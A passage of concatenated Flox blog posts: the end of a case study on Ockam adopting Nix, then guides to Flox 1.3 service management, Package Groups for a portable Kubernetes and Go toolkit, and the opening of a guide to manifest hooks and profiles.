quite a bit. We can say to new people on the team: ‘Install Nix, here’s the one-liner for doing that, and then just type `make nix_[your specific target]`, and then everything will build,” Mrinal explains. “That’s just a very, very different experience from ‘Install this tool, then these tools, then these tools and that tool, and also these tools, and—oh yeah—hope it all works.” With Nix, Mrinal says, new engineers tend to get up to speed very quickly. The install process is flawless—as it should be—and builds just work. “They do the install and the build succeeds the first time, and [with other tools and frameworks] people often struggle with these steps for days.” ## Getting Ahead of the Nix Learning Curve Yes, he acknowledges, new team members usually aren’t familiar with Nix, but in the first place, newly onboarding contributors aren’t expected to configure Nix on their own, and, in the second place, there’s help from an unexpected source—GPT4, Claude, and other large language models (LLM), which have been extensively trained on Nix’s documentation, along with other Nix-related resources. Believe it or not, he says, learning-Nix-by-LLM kinda/sorta works: “They actually give pretty good debugging advice. It’s been a pretty good way to help people ramp up to understand what’s going on with Nix.” Mrinal’s team took other common-sense steps to help make the transition to Nix as painless as possible—both for veteran contributors and newcomers. “We added `nix_` targets for all of our `make [targets]`. You can use `make` directly if you have the tools on your machine, or you can just type `make nix_[target]` and it will drop into a shell and do it there,” he says. “It helps when someone is new and they’re really only interested in building the Rust-specific codebase for Ockam. They can understand what’s going on in the Rust-specific targets and just use the Nix version of [the make binary]." Not least, the team continues to collect notes, comments, lessons learned, mistakes made, and other feedback from users, documenting this information in an internal guide. Call it the _Nix-o-nomicon_. ## …And Getting Comfortable with Nix Once team members get comfortable with Nix, he says it’s easy enough for them to figure out how to tweak it—for example, by adding new tools. “When we need to add new tools to the build process, that’s pretty fast as well. There are like five .nix files in the codebase—and once they get familiar with what’s going on, people feel comfortable tweaking them to add new tools,” he indicates. “Most of our CI targets are now using the Nix path so everything gets built inside nix.” And speaking of CI, thanks to Nix, Ockam has achieved near parity between local development and CI: “The environment I’m testing in locally and the environment I’m testing in in CI are approximately the same,” he indicates. “They can feel confident [their code is] not going to do unexpected things in CI.” Mrinal offers this surprising takeaway: one year on, Nix has in certain ways become invisible. At first, yes, Nix’s declarative language was intimidating for new users. There was no getting around that, but Ockam has been able to work _through_ it using the interventions described above. The upshot is that Ockam’s internal users just aren’t intimidated by Nix. In most cases, Mrinal says, they don’t even notice it. The larger proof is in Ockam’s success in onboarding newbies: “It just works and works well. It’s become invisible. It does what it’s supposed to do, which is ensure that people during [local] development and CI have approximately the same environments.” ## Futures and Scaling Nix Mrinal and his team haven’t yet had a chance to push the limits, if any, of reproducibility in Nix. For their first year, they focused on easing the transition to Nix, especially for core Ockam contributors, most of them internal team members. One goal for the future is to try to make the Nix onboarding experience easier for external, open-source community contributors, too. “This whole journey is now a year long. In that year we will have made it faster to onboard onto our codebase both for internal developers joining the team, which we plan to grow as rapidly as we can, and faster onboarding from the open-source community,” he says. “But I think the internal data points are proof that can be true externally as well. And if that's the case, that allows us to grow the open-source community faster, which has its own kind of network effect-like benefits.” And then there’s reproducibility. While Ockam hasn’t rigorously tested and validated the reproducibility of its Nix-powered build processes, Mrinal emphasizes that this is on the roadmap. “We still want to get to that reproducibility goal. I think we're somewhere between 90 to 95% of the way there, we just haven’t invested the time in conducting the tests that will prove to us that, hey, we can in fact reproduce the builds from a month ago, or two months ago, right? Is that true or not?” he explains, adding that in unofficial testing, Nix has consistently enabled reproducible build outcomes. Even if Ockam can’t get above 90% to 95%, there’s tremendous value there, Mrinal argues. “If I have to hunt down the problem, my [problem space] is that remainder, that 5% to 10% remainder,” he says. “And actually, dependency trees are getting horrible, right? So even 90% of reproducibility means you don’t have to tackle the depths of hundreds of dependency trees, right?” ## Final Thoughts The come-to-Nix experience of Mrinal and his team resembles that of so many adopters: there was initial interest, tempered by intimidation in the face of Nix’s ostensible complexity, followed by a gradual circling back. For Ockam, the decision to adopt Nix came down to the following factors: - The availability of a **Nix installer**; - The development of **Flakes**; - The fact that Nix ran in a **conventional shell**, using a shell-like syntax; - The realization that contributors didn’t have to be **Nix Ninjas** to effectively use it; - Active support from vendors, demonstrating commitment to and backing for the Nix project. Drilling down into these: the **Nix installer** obviated concerns about the complexity involved in installing Nix. **Flakes** brought more rigor (and determinism!) to package and environment management in Nix, giving Ockam the confidence it could achieve reproducibility at scale. The ability to run Nix in a **shell**, using familiar commands, aligned perfectly with the workflows of most Ockam contributors; and, for contributors who preferred using IDEs, Ockam was also able to implement effective workarounds. Finally, effectively using Nix, especially to bootstrap an Ockam build environment, **didn’t require mastering its language**. In fact, Mrinal’s team has discovered that for most use cases, neither they nor contributors need to directly modify Nix expressions, or navigate the `nixpkgs` repository configurations. “Only a few people like to touch Nix code because of the intimidation factor. But that’s fine,” he says. “Slowly but steadily, we’ve now reached a point where everything we build in CI is built in Nix. Most people are using Nix and `make` to build. Some people using IDEs bypass Nix.” Besides, Mrinal argues, for organizations or projects opting to use a monorepo, there are very few viable, scalable options. In this context, the “complexity” of Nix pales in comparison to that of other tools, like Gradle or Bazel. He sees Nix as the most pragmatic solution to a wicked problem: delivering a flexible, consistent, and reliable cross-platform development experience—one that supports multiple programming languages, and crucially spans both local and remote development and testing. “I went down the Gradle track, I for a little bit went down the Bazel track. And yes, Nix is complicated, but those other things are also incredibly complicated and very frustrating in their own right,” he concludes. Title: Flox 1.3: Simplified Service Management with Flox Source: https://flox.dev/blog/flox-1.3-simplified-service-management-with-flox/ Date: 2024-08-21 Category: news # Flox 1.3: Simplified Service Management with Flox It’s even easier to build beefy services like PostgreSQL into your dev environments now that Flox does the setup, teardown, and runtime management lifting for you. Flox makes it easy to install and run virtually any kind of service in a dev environment. Need a local `nginx` reverse proxy? Or a Redis caching layer to mimic the one in your production environment? How about a local PostgreSQL or Kafka instance? Just fire up a terminal and `flox install` them. With the new service management capabilities shipping in Flox 1.3.0, this story gets even better! Starting and stopping services is now a cinch, because Flox takes care of all the background setup and teardown tasks for you. So instead of authoring logic to watchdog your services, you can just define the ones you need Flox to manage in a software manifest. But rather than _telling_ you, let’s _show_ you—by walking you through a couple of concrete examples. You’ll not only learn how service management works, but also how it makes Flox’s simple, intuitive approach to creating and sharing reproducible dev environments that much simpler. ## A turn-key local LLM Flox’s [Ollama example environment](https://flox.dev/blog/llms-in-your-project-with-ollama-flox) makes it easy to run Llama, Mixtral, and other powerful LLMs locally. But our initial version of this environment shipped _without_ service management, which was still being built into Flox at the time. So achieving this behavior required authoring chunks of monitoring and control logic for the environment’s separate [`[hook]` and `[profile]` sections](https://flox.dev/blog/mastering-hooks-and-profiles-for-reproducible-flox-environments). Here’s an excerpt from `[hook]`: ```bash if [ -f "$autostart" ] || [ "${choice:0:1}" = "A" ] || [ "${choice:0:1}" = "Y" ] ; then export OLLAMA_STARTED=1 tmp_procfile=$(mktemp) echo "ollama: ollama serve" > "$tmp_procfile" "$FLOX_ENV/bin/overmind" start -f "$tmp_procfile" -s "$OLLAMA_SOCKFILE" -D &>/dev/null ``` Using service management, you can achieve the same result—an `ollama serve` that starts when you `flox activate` your environment and terminates when you exit—with just a fraction of the logic. To wit: ```toml [services.ollama] command = "ollama serve" ``` That’s it. That’s all you’ve gotta do. For existing users, the biggest change is primarily one of muscle memory: to start your service(s) at activation, you’ve got to use the `flox activate -s` command-line flag. (That’s short for `--start-services`.) You can check the status of your service(s) by using the new `flox services status` command: ``` flox [ollama-redux] daedalus@ethos:~/dev/ollama-redux$ flox services status NAME STATUS PID ollama Running 314080 ``` With service management, `ollama serve` automatically shuts down when you exit your environment, but you can also stop it manually—or start it back up again—should you need to: ``` flox [ollama-redux] daedalus@ethos:~/dev/ollama-redux$ flox services stop ollama ✅ Service 'ollama' stopped flox [ollama-redux] daedalus@ethos:~/dev/ollama-redux$ flox services start ollama ✅ Service 'ollama' started. ``` That is service management in a nutshell. But while a turn-key, ephemeral Ollama service is cool, a similar option for PostgreSQL would be amazing. So let’s pivot to Flox’s service management-enabled PostgreSQL example environment! ## An on-when-you-need-it, off-when-you-don’t PostgreSQL environment Between them, Flox’s Graham Hudgins and Ross Turk created a kinda cool PostgreSQL example environment to showcase service management. For this use case, they didn’t even need to replace any “prior art” in the form of service setup/teardown scripting logic. And that’s a good thing! After all, authoring logic that (**a**) autostarts a PostgreSQL instance, (**b**) spins up a background (watchdog) task to monitor its operation and (**c**) reliably shut it down is _slightly_ more complicated than authoring shell traps. Using this environment is as easy as pulling it from FloxHub and dusting off one’s SQL knowledge: ``` flox pull flox/postgres flox activate -s ✅ You are now using the environment 'postgres'. To stop using this environment, type 'exit' ✅ finished createdb on pgdb Use 'psql' to connect. flox [postgres] daedalus@ethos:~/dev/floxenvs/postgres$ psql psql (15.7) Type "help" for help. pgdb=# \dt Did not find any relations. pgdb=# CREATE TABLE foo (id SERIAL PRIMARY KEY, name VARCHAR(50)); CREATE TABLE bar (id SERIAL PRIMARY KEY, description TEXT); CREATE TABLE CREATE TABLE pgdb-# \dt List of relations Schema | Name | Type | Owner --------+------+-------+-------- public | bar | table | pguser public | foo | table | pguser (2 rows) ``` Beneath this surface sheen of simplicity, there’s a lot of scaffolding built into this service-enabled environment. Let’s take a look at its components. First, there’s the obligatory install section: ```toml [install] postgresql_15.pkg-path = "postgresql_15" gum.pkg-path = "gum" ``` Next, the requisite `services` entry: ```toml [services.postgres] command = "postgres" ``` We use the `[vars]` section in the environment’s `manifest.toml` to define a local user and database, and configure PostgreSQL so it listens on a local port. Note: Instead of hardcoding `PGUSER` and `PGPASS` in your environment’s `manifest.toml`, you could instead opt to retrieve them from a secrets manager like 1Password at runtime. Flox activation hooks [give you an easy way to securely inject PGUSER, PGPASS, and other secrets into the environment](https://flox.dev/blog/adding-1password-secrets-to-flox-environments) when they’re needed. ```toml [vars] # PostgreSQL database settings - port, username, password PGPORT = "5432" PGUSER = "pguser" PGPASS = "pgpass" PGDATABASE = "pgdb" ``` The [hook] section performs setup and configuration tasks that don’t involve starting and monitoring the PostgreSQL service, like specifying data directories and initializing a new database instance using `initdb`, if one doesn't already exist. ```toml [hook] on-activate = ''' # # Get our environment set up # # If PGDIR is not set, $PWD will be used if [ -z "$PGDIR" ]; then PGDIR="$PWD" fi # These tell postgres where to store data and connection socket export PGDATA=$PGDIR/postgres_data # # First-time setup for PostgreSQL # if [ ! -d $PGDATA ]; then gum spin --spinner dot --title "Running initdb in $PGDATA" \ -- initdb $PGDATA --username $PGUSER -A md5 \ --pwfile=<(echo $PGPASS) --auth=trust echo "✅ completed initdb in $PGDATA" fi ''' ``` If you forget to `flox activate -s` then you can manually start your services within an activated environment: ``` daedalus@ethos:~/dev/postgres$ flox activate ✅ You are now using the environment 'postgres'. To stop using this environment, type 'exit' ✅ completed initdb in /home/daedalus/dev/postgres/postgres_data ✅ completed configuration of /home/daedalus/dev/postgres/postgres_data/postgresql.conf flox [postgres] daedalus@ethos:~/dev/postgres$ psql psql: error: connection to server on socket "/tmp/.s.PGSQL.5432" failed: No such file or directory Is the server running locally and accepting connections on that socket? flox [postgres] daedalus@ethos:~/dev/postgres$ flox services start ✅ Service 'postgres' started. ``` Even though I started `postgresql` manually, as soon as I quit my environment, it ceases to exist. Flox automatically cleans it up. ``` flox [postgres] daedalus@ethos:~/dev/postgres$ procs | grep postgres 987820 daedalus │ pts/3 0.0 0.0 00:00:00 │ /bin/bash --noprofile --rcfile /home/daedalus/dev/postgres/.flox/run/x86_64-linux.postgres/activate.d/bash 987890 daedalus │ 0.0 0.0 00:00:00 │ /nix/store/fpqmpvabkld200j0f6crj1x9q3by8202-flox-watchdog-1.2.3/bin/flox-watchdog --pid 987820 --logs /home/daedalus/dev/postgres/.flox/cache/watchdog.987820.log --socket /run/user/1000/flox.f5072c7d.sock --hash f5072c7d --registry /home/daedalus/.local/share/flox/env-registry.json 988553 daedalus │ 0.0 0.0 00:00:00 │ /nix/store/pwy5hbrbmkwip12g8blsl9f20s8n6rj6-process-compose-1.9.0/bin/process-compose up -f /home/daedalus/dev/postgres/.flox/run/x86_64-linux.postgres/service-config.yaml -u /run/user/1000/flox.f5072c7d.sock -L /tmp/tmp.TeSvnxTrTZ --tui=false 988578 daedalus │ 0.0 0.0 00:00:00 │ postgres 988603 daedalus │ 0.0 0.0 00:00:00 │ postgres: checkpointer 988604 daedalus │ 0.0 0.0 00:00:00 │ postgres: background writer 988611 daedalus │ 0.0 0.0 00:00:00 │ postgres: walwriter 988612 daedalus │ 0.0 0.0 00:00:00 │ postgres: autovacuum launcher 988613 daedalus │ 0.0 0.0 00:00:00 │ postgres: logical replication launcher 990680 daedalus │ pts/3 0.0 0.0 00:00:00 │ grep postgres flox [postgres] 1 daedalus@ethos:~/dev/postgres$ exit exit 1 daedalus@ethos:~/dev/postgres$ procs | grep postgres 991305 daedalus │ pts/3 0.0 0.0 00:00:00 │ grep postgres ``` You can use service management in Flox to build as many services as you need into your environments, without authoring logic to set them up or tear them down. Plus, Flox environments are easy to work with, especially in the local context, because you get direct access to your system’s settings and resources. Think of this article as Service Managment (SM) 101. For SM 202, we’ll be showcasing a Floxified retrieval-augmented generation (RAG) stack. You won’t wanna miss that! ## One giant leap for reproducible software development Service management is a great demonstration of how rapidly Flox is maturing. Just six months ago, [you couldn’t install as many different software packages and versions](https://flox.dev/blog/flox-1.1-time-travel-across-100k-nix-packages). You didn’t have a reproducible way to [use software that wasn’t already in Flox Catalog](https://flox.dev/blog/extending-flox-with-nix-flakes) in your projects. And you couldn’t [easily share Flox environments with your team members](https://flox.dev/blog/why-we-built-flox). Flox got a whole lot more powerful in just a few months! How powerful will Flox be six months from now? Why wait to find out​? Flox is free to use and it’s great for everything from quick-and-dirty proofs-of-concept on your local system to reproducible runtimes in CI and production. Plus, you can get started in [fewer than five minutes](https://flox.dev/docs/). [Download](https://flox.dev/docs/install-flox/) Flox today and put it to the test! Title: Conflict Resolution Made Easy with Package Groups in Flox Source: https://flox.dev/blog/conflict-resolution-made-easy-with-package-groups-in-flox/ Date: 2024-08-19 Category: guide # Conflict Resolution Made Easy with Package Groups in Flox Flox Package Groups give you an easy way to manage dependency conflicts, enabling you to create powerful fit-for-purpose dev environments you can take with you—anywhere. I love that I can use Flox to install legacy or bleeding-edge versions of software packages and core system libraries, even if I can’t satisfy their dependencies on my local system. This is a lifesaver when I’m building software for other platforms. _Or_ when I want to install cool new tools (or toys) that conflict with stuff on my system. _Or_ when I need to build fit-for-purpose environments that make Very Hard things possible—and take them with me wherever I go. The catch is that Flox also needs to manage its own package-level dependencies. Sometimes, to avoid certain kinds of dependency conflicts, it will refuse to install a specific version of a package. The solution to this problem is to isolate fussy or finicky packages in distinct [**Package Groups**](https://flox.dev/docs/concepts/manifest/?h=package+groups#installing-packages-to-package-groups). This blog explores how Flox Package Groups work, showing you how you can use them to manage different kinds of package-level conflicts in your Flox environments. ## Example #1: Creating a traveling K8s toolkit Let’s say I’m going on vacation and I want to keep noodling on a Golang-based microservice I’ve been refactoring. I can’t take my org’s production K8s cluster with me, but I _can_ bring along a close facsimile—a K8s cluster on my laptop—thanks to [Kubernetes in Docker (`kind`)](https://github.com/kubernetes-sigs/kind) and Flox. In fact, I can build almost everything I need for this use case into a Flox environment that runs anywhere. Thus giving me a portable toolkit I can take with me on my (wait for it) **vk8tn**! First, let’s get the yucky stuff out of the way. I’m gonna need basic tools for managing my local K8s cluster—`kubectl` for sure. Like most organizations, mine is still running an older version of K8s: 1.29.2, from almost a year ago. I’ll need a `kubectl` client that’s as close to this as possible, so I can feel confident it’ll be compatible with my org’s `prod` instance. Thankfully, Flox Catalog makes this trivially easy. Let’s just go ahead and `flox install` _exactly_ the `kubectl` client I need: ``` daedalus@protos:~/dev$ mkdir vk8tn && cd vk8tn && flox init ✨ Created environment 'vk8tn' (x86_64-linux) Next: $ flox search <- Search for a package $ flox install <- Install a package into an environment $ flox activate <- Enter the environment $ flox edit <- Add environment variables and shell hooks daedalus@protos:~/dev/vk8tn$ flox install kubectl@1.29.2 ✅ 'kubectl' installed to environment 'vk8tn' daedalus@protos:~/dev/vk8tn$ flox list kubectl: kubectl (1.29.2) ``` But I’m not quite done! I might as well install a few other cool K8s tools, starting with essential stuff like [`helm`](https://github.com/helm/helm), but also super-useful utilities like [`stern`](https://github.com/stern/stern), or the incomparable [`k9s`](https://github.com/derailed/k9s). Just like before, I’ve got to grab a version of `stern` that corresponds to my specific version of `kubectl`, as well as specific versions of `helm` and `k9s` that likewise follow K8s versioning best practices. After I install all three I’ll— ``` daedalus@protos:~/dev/vk8tn$ flox install stern@1.29.0 k9s@0.32.5 kubernetes-helm@3.15.3 ❌ ERROR: resolution failed: Resolution constraints are too tight. ``` In Greek tragedy, that abrupt cutting-off-in-mid-sentence is what’s known as “aposiopesis.” It was the equivalent of the record-scratching sound you hear in movies or TV series—you know, when something totally unexpected happens. “Constraints are too tight?” What does this mean? ## Flox Package Groups explained Basically, Flox is telling us it can’t resolve how to install all of the specified package versions into the same environment, because at least one has dependencies that conflict with one or more of the others. So does this mean—to paraphrase a well-known [`apt`](https://wiki.debian.org/Apt) error message—Flox is “unable to correct problems and I have held broken packages?” No! I can use Flox Package Groups to deal with issues like this. The logic behind Package Groups is simple enough. Basically, we want the tools we use together to be from the same era of software. That way we know they’ll work together. To give you an extreme example, building/running a binary that needs to link against a version of `glibc` from 2018 (say, v2.28) is very different from building/running against `glibc` v2.40, which was released just last month. The challenge is to use sets of packages that both share libraries and are [ABI](https://en.wikipedia.org/wiki/Application_binary_interface)-compatible _because they’re derived from the same era_. Flox does this work for you, automatically figuring out which packages are compatible with which. Under its covers, Flox is partly powered by Nix—the proven open source package manager—and [Nixpkgs](https://github.com/NixOS/nixpkgs) is the upstream for Flox Catalog. ## Creating Package Groups in a Flox environment Flox enables a completely declarative approach to installing, versioning, and managing software. The Flox CLI declares packages for us in `manifest.toml`, the software manifest and configuration artifact that lives inside every Flox environment. So putting `kubectl` into its own Package Group and reinstalling the other packages I need _should_ be sufficient to fix this problem. All I’ve got to do is type `flox edit` and I can easily start modifying the `[install]` section of my `manifest.toml`. Right now, it looks like this: ``` [install] kubectl.pkg-path = "kubectl" kubectl.version = "1.29.2" ``` Putting `kubectl` into its own Package Group is easy enough: ``` [install] kubectl.pkg-path = "kubectl" kubectl.version = "1.29.2" kubectl.pkg-group = "kubectl" ``` When I use `flox edit` to make changes, Flox rebuilds and validates my environment in real time: ``` ⠋ Building environment to validate edit ``` If everything checks out, I get the following message: ``` ✅ Environment successfully updated. ``` Okay. Isolating `kubectl` in its own Package Group should do the trick. Now let’s reinstall the oth— ``` daedalus@protos:~/dev/vk8tn$ flox install stern@1.29.0 k9s@0.32.5 kubernetes-helm@3.15.3 ❌ ERROR: resolution failed: Resolution constraints are too tight. ``` There’s that error again! When you think about it, however, this makes sense. If I could use just _any_ versions of `helm`, `k9s`, or `stern` in my environment, Flox could easily find releases that coexist with one another. But if I need _specific_ versions of tools or libraries, there's a greater likelihood of dependency conflicts. Why? Because each version _is a snapshot of a point in time_ in that tool or library’s development. Let me say a little bit about that. ## Software versioning made simple Think of all the tools in a Flox environment as analogous to an exposure in photography: the longer the duration of the exposure, the more information (change) it captures. Environments containing a large number of tools, each pinned to specific versions, are like long exposures lasting for hours: both encompass so large a slice of time that dependency conflicts (or blurring movements) become inevitable. In cases like this, it makes sense to separately install each tool and see which ones trigger a “constraints are too tight” error. Another viable option is just to create separate Package Groups for each one. Off-screen, I did just that, zeroing in on `k9s`, which I put into its own Package Group, called `k9s`. But the latest version of Helm also refused to install unless I put it, too, into a separate Package Group. So this is what I ended up with: ``` [install] kubectl.pkg-path = "kubectl" kubectl.version = "1.29.2" kubectl.pkg-group = "kubectl" kubernetes-helm.pkg-path = "kubernetes-helm" kubernetes-helm.version = "3.15.3" kubernetes-helm.pkg-group = "helm" stern.pkg-path = "stern" stern.version = "1.29.0" k9s.pkg-path = "k9s" k9s.version = "0.32.5" k9s.pkg-group = "k9s" ``` I now have a declarative software manifest that I can amend as my requirements change. I can easily resolve dependency conflicts by isolating fussy packages into discrete package groups. And I can define as many different package groups as I need, which means I can create rich environments that include tools, libraries, frameworks, etc. that would otherwise refuse to coexist in a conventional system environment, or would need to be composed as part of a complicated multi-container runtime. With that, I’m ready to take my K8s toolkit with me on my vk8tn. All I need is a build environment to go along with it. ## Example #2: A portable Golang build environment for K8s Before signing off for vacation, I’d been refactoring my org’s API gateway service, using Go v1.22.5. I can easily get this version of Go from Flox Catalog, but—based on prior experience—I gotta wonder: is Go v1.22.5 gonna play nicely in my environment? Let's `flox install` and find out: ``` flox [vk8tn] daedalus@protos:~/dev/vk8tn$ flox install go@1.22.5 ❌ ERROR: resolution failed: Resolution constraints are too tight. ``` The good news is that I now know there’s an easy fix for this: I can just put `go` into its own Package Group. In fact, it's a good practice to always put related software build tools into their own Package Group, separating them from tools you use to bootstrap, manage, or provide core services for your environment. For example, I also need to install `ko` (a.k.a. “KOntainerize”), a neat tool I rely on to build and deploy Go stuff on K8s. I'll put this into a separate Package Group, `build`, too. Here’s the snippet from my `manifest.toml`. ``` [install] go.pkg-path = "go" go.version = "1.22.5" go.pkg-group = "build" ko.pkg-path = "ko" ko.version = "0.15.4" ko.pkg-group = "build" ``` The irony is that `ko` isn’t at all fussy and doesn’t need to be isolated in a distinct Package Group. But it does make sense to keep related build tools together, not least because they're usually version-compatible and (for this reason) tend to share the same libraries and ABIs. Speaking of which, I need to build other Go stuff into my Flox environment, like `golangci-lint`, `golangci-lint-langserver`, and `delve`. Spoiler alert: I won’t need package groups for any of them either, but I’ll put them all into my `build` Package Group, too. Once I do that, I should be good to go. But why do I feel like I’m forgetting something? I got my `vk8tn` management toolkit. I got my Go build environment. What am I forgetting? Oh. Yeah. K8s. I need a K8s cluster I can take with me. I need K8s a go-go. Or something like it. ## Up, running, and building with K8s, Go, and Flox We need a Kubernetes cluster. The Flox Catalog has the latest version of `kind`, and (good news!) I don’t need to create a Package Group to install it in my environment. It also has `ko`, which I’ve already said isn’t fussy about dependencies. Between them, I can use `kubectl`, `ko`, and `kind` to automate just about everything for my `vk8tn` environment and workflow. This gives me a way to define a local replica of my prod K8s cluster, build and compile my Go code, and deploy it as a containerized service to `kind`/K8s. Here’s what the final `[install]` section of my environment’s `manifest.toml` looks like: ``` kubectl.pkg-path = "kubectl" kubectl.version = "1.29.2" kubectl.pkg-group = "kubectl" kubernetes-helm.pkg-path = "kubernetes-helm" kubernetes-helm.version = "3.15.3" kubernetes-helm.pkg-group = "helm" k9s.pkg-path = "k9s" k9s.version = "0.32.5" k9s.pkg-group = "k9s" lazydocker.pkg-path = "lazydocker" kind.pkg-path = "kind" gitFull.pkg-path = "gitFull" stern.pkg-path = "stern" stern.version = "1.29.0" kubent.pkg-path = "kubent" kubent.version = "0.7.2" go.pkg-path = "go" go.version = "1.22.5" go.pkg-group = "build" ko.pkg-path = "ko" ko.version = "0.15.4" ko.pkg-group = "build" golangci-lint.pkg-path = "golangci-lint" golangci-lint.pkg-group = "build" golangci-lint-langserver.pkg-path = "golangci-lint-langserver" golangci-lint-langserver.pkg-group = "build" delve.pkg-path = "delve" delve.pkg-group = "build" ``` I added [`lazydocker`](https://github.com/jesseduffield/lazydocker), a useful container management tool coded in Go, because I’m using `kind`. The rest of my environment consists of basic K8s management stuff and Go/software build tools. To put my environment through its paces, I’d first [initialize my Go project as usual](https://go.dev/blog/using-go-modules), putting the code for my API gateway service in my module’s project directory. Next, I’d spin up my `kind` “cluster”: ``` kind create cluster --name kind --config kind.yaml ``` Then I’d use `kubectl` to generate a `deployment.yaml` for running my service on `kind`/K8s. From there, I’d set up my environment for `ko` and `kind`, exporting the names of my Docker repo and K8s cluster. Finally, I’d hand off to `ko`, which compiles my app, builds my container, and pushes it to `kind`/K8s. (I created a bash script to do all of this for me. See Housekeeping Notes, below.) That’s basically it. Now let’s light this candle: ``` flox [vk8tn] daedalus@protos:~/dev/vk8tn/$ ./go-web-app-init.sh go: /home/daedalus/dev/vk8tn/go-web-app/go.mod already exists 2024/08/12 23:58:57 Using base cgr.dev/chainguard/static:latest@sha256:5e9c88174a28c259c349f308dd661a6ec61ed5f8c72ecfaefb46cceb811b55a1 for deadalus/api-gateway-app 2024/08/12 23:58:57 current folder is not a git repository. Git info will not be available 2024/08/12 23:58:57 Building deadalus/api-gateway-app for linux/amd64 2024/08/12 23:59:01 Loading kind.local/api-gateway-app-f3b978d534fa46f9ec51e8d05a9c3761:fc1fb673bc7d387a7883a2e7c6a0344b7537a9c3bbfe3ff4df8dadaac31cc137 2024/08/12 23:59:03 Loaded kind.local/api-gateway-app-f3b978d534fa46f9ec51e8d05a9c3761:fc1fb673bc7d387a7883a2e7c6a0344b7537a9c3bbfe3ff4df8dadaac31cc137 2024/08/12 23:59:03 Adding tag latest 2024/08/12 23:59:03 Added tag latest deployment.apps/api-gateway-app created ``` Deployment worked as expected! Let’s use `kubectl` to check on the status of my app and pods: ``` flox [vk8tn] daedalus@protos:~/dev/vk8tn$ kubectl get deploy,pods NAME READY UP-TO-DATE AVAILABLE AGE deployment.apps/api-gateway-app 3/3 3 3 2m47s NAME READY STATUS RESTARTS AGE pod/api-gateway-app-789cd8d696-mm7jg 1/1 Running 0 2m47s pod/api-gateway-app-789cd8d696-t8gjw 1/1 Running 0 2m47s pod/api-gateway-app-789cd8d696-vlvcz 1/1 Running 0 2m47s ``` Everything looks good. That’s what I like to see! I’ve built `stern` into my environment, and if I were having problems with my pods—which I did, offscreen, repeatedly, while putting together this walk-through!—it’d give me an invaluable debugging tool. Instead I’ll use `k9s` (one of the cooler terminal tools I’ve used this year!) to give me an at-a-glance overview of the state and health of my K8s environment and workloads. Success! My Golang API gateway service is up and running on my local K8s cluster. ``` git push ``` I ping `@here` in Slack about my new experiment. My teammates can reproduce the exact versions of each tool in my package groups: ``` git pull && flox activate ``` Now we can work on refactoring it, iteratively building, testing, and deploying it. You know, on the off chance I’m bored. While I’m on vacation. ## Housekeeping Notes My [`kind.yaml`](https://kind.sigs.k8s.io/docs/user/configuration/) is a basic config file that defines a control-plane node and two worker nodes, each of which uses the same `kindest/node:v1.29.2` image. (This last is a `kind`-specific Docker image bundling everything you need to run a Kubernetes node in a `kind` cluster.) This way, I can spin up as many nodes as my org’s production cluster has, each running the same containerized version of Kubernetes. The bash logic I use to compile, containerize, and deploy my Go API gateway service is below. There isn’t much to it. ``` go mod init vk8tn/api-gateway-app kubectl create deploy -oyaml --dry-run=client \ api-gateway-app --image ko://deadalus/api-gateway-app --replicas 3 \ > deployment.yaml export KO_DOCKER_REPO=kind.local export KIND_CLUSTER_NAME=kind ko resolve -f deployment.yaml | kubectl apply -f - kubectl get deploy,pods ``` If I wanted to, [I could paste this as a function into the `[profile]` section of my environment’s `manifest.toml`](https://flox.dev/blog/mastering-hooks-and-profiles-for-reproducible-flox-environments) and create an alias (say, `containerize`?) for it. That way, it would be available as a default “command” in my environment. Then I wouldn’t have to rely on shell scripts. ## A Radical Approach to Building Software...That Isn’t Entirely New Flox enables a radical approach to portable, reproducible software builds—but it isn’t entirely new. Under its covers, Flox uses Nix-like concepts and methods to achieve portability, reproducibility, and platform-optimized performance. With Nixpkgs as its upstream, Flox offers more than 1 million software package and version combinations. When you `flox install` software on MacOS, you get ARM or x86-64 packages compiled, built, and optimized for MacOS. The same is true on ARM and x86-64 Linux systems. What is new and different about Flox is that it gives you the power of Nix without the steep learning curve. It ships as a single installable and has just a few commands. With [five minutes or fewer of prep time](https://flox.dev/docs/), you can use Flox to start building software. Curious? Intrigued? Skeptical? Put Flox to the test today! You can start by [downloading Flox here](https://flox.dev/docs/install-flox/)! _Note: Thanks to everyone at Flox, but, especially, to Leigh Capilli, Ross Turk, Michael Stahnke, and the mystagogical Tom Bereknyei. Along the way, old friends Dylan Storey and Larry “Catfish” Murdock offered invaluable assistance. K8s isn’t my bag, nor is Nix—yet!—and I rely on their help for … too much._ Title: Mastering Hooks and Profiles for Reproducible Flox Environments Source: https://flox.dev/blog/mastering-hooks-and-profiles-for-reproducible-flox-environments/ Date: 2024-08-07 Category: guide # Mastering Hooks and Profiles for Reproducible Flox Environments Learn how you can use Flox's [hook] and [profile] sections to build, customize, and share rich, reproducible development environments. If you just use Flox to install and manage packages, you might not know that it’s also an environment manager with superpowers. However, as soon as you begin _building_ stuff with Flox, you start asking questions. You start caring about what happens, where, _and in what order_ when you `flox activate`. This leads you to crack open and start tinkering with Flox’s default `manifest.toml` artifact, with the result that sooner or later you find yourself experimenting with its powerful, versatile **`[hook]`** and **`[profile]`** sections. In this post you will learn what these sections do and how you can use them to build rich, reproducible Flox environments. Just as important, you’ll learn what they _don’t_ do, what they _shouldn’t_ be used for, and how misusing them can lead to headaches in production. Ready? Let’s get down to the nitty gritty! ## The anatomy of a Flox environment First, some context: both `[hook]` and `[profile]` are separate sections in a file called `manifest.toml`, which lives in the path `.flox/env` inside every Flox environment. This is the environment’s combined software manifest and configuration artifact. You can modify `manifest.toml` by opening it in your preferred editor, or by typing `flox edit` in your terminal. It has the following general structure: ``` [install] [vars] [hook] [profile] [options] ``` If you’re interested, you can read more about each of these sections [here](https://flox.dev/docs/tutorials/customizing-environments/). But now, let’s plunge right into `[hook]`. What does it do and what do you need to know about it? ## Hooks are where magic happens Flox’s `[hook]` section gives you a portable, reproducible way to script setup operations for your environments. Anything you put into `[hook]` runs whenever your Flox environment is activated. Best of all, the logic in `[hook]` executes using Flox’s built-in bash interpreter, so it runs and behaves the same way across all the targets Flox supports: macOS or Linux running on ARM or x86-64. For example, if you need to create a Python virtual environment (venv) for your app or build environment, you can author bash logic that creates a temp directory and activates your venv in that directory: ```toml [hook] on-activate = ''' venv_dir="$(mktemp -d)" python3 -m venv "$venv_dir" source "$venv_dir/bin/activate" ''' ``` Naturally, doing it this way would result in a **new** temp directory being created every time you activate your environment. There are some cases where this might be what you want; as an alternative, you could place your venv inside `$FLOX_ENV_CACHE` to persist it across activations, adding a conditional to skip creating it if it already exists. Or say you need to bootstrap a 